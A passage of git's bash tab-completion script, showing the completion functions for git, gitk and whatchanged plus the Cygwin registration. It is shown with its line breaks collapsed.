c=$((++c)) done case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; -*|tag) if [ $f = 1 ]; then __gitcomp "$(__git_tags)" else COMPREPLY=() fi ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_whatchanged () { _git_log } _git () { local i c=1 command __git_dir while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --git-dir=*) __git_dir="${i#--git-dir=}" ;; --bare) __git_dir="." ;; --version|-p|--paginate) ;; --help) command="help"; break ;; *) command="$i"; break ;; esac c=$((++c)) done if [ -z "$command" ]; then case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --paginate --no-pager --git-dir= --bare --version --exec-path --html-path --work-tree= --help " ;; *) __git_compute_porcelain_commands __gitcomp "$__git_porcelain_commands $(__git_aliases)" ;; esac return fi local completion_func="_git_${command//-/_}" declare -F $completion_func >/dev/null && $completion_func && return local expansion=$(__git_aliased_command "$command") if [ -n "$expansion" ]; then completion_func="_git_${expansion//-/_}" declare -F $completion_func >/dev/null && $completion_func fi } _gitk () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(__gitdir)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_gitk_options $merge " return ;; esac __git_complete_revlist } complete -o bashdefault -o default -o nospace -F _git git 2>/dev/null \ || complete -o default -o nospace -F _git git complete -o bashdefault -o default -o nospace -F _gitk gitk 2>/dev/null \ || complete -o default -o nospace -F _gitk gitk # The following are necessary only for Cygwin, and only are needed # when the user has tab-completed the executable name and consequently # included the '.exe' suffix. # if [ Cygwin = "$(uname -o 2>/dev/null)" ]; then complete -o bashdefault -o default -o nospace -F _git git.exe 2>/dev/null \ || complete -o default -o nospace -F _git git.exe fi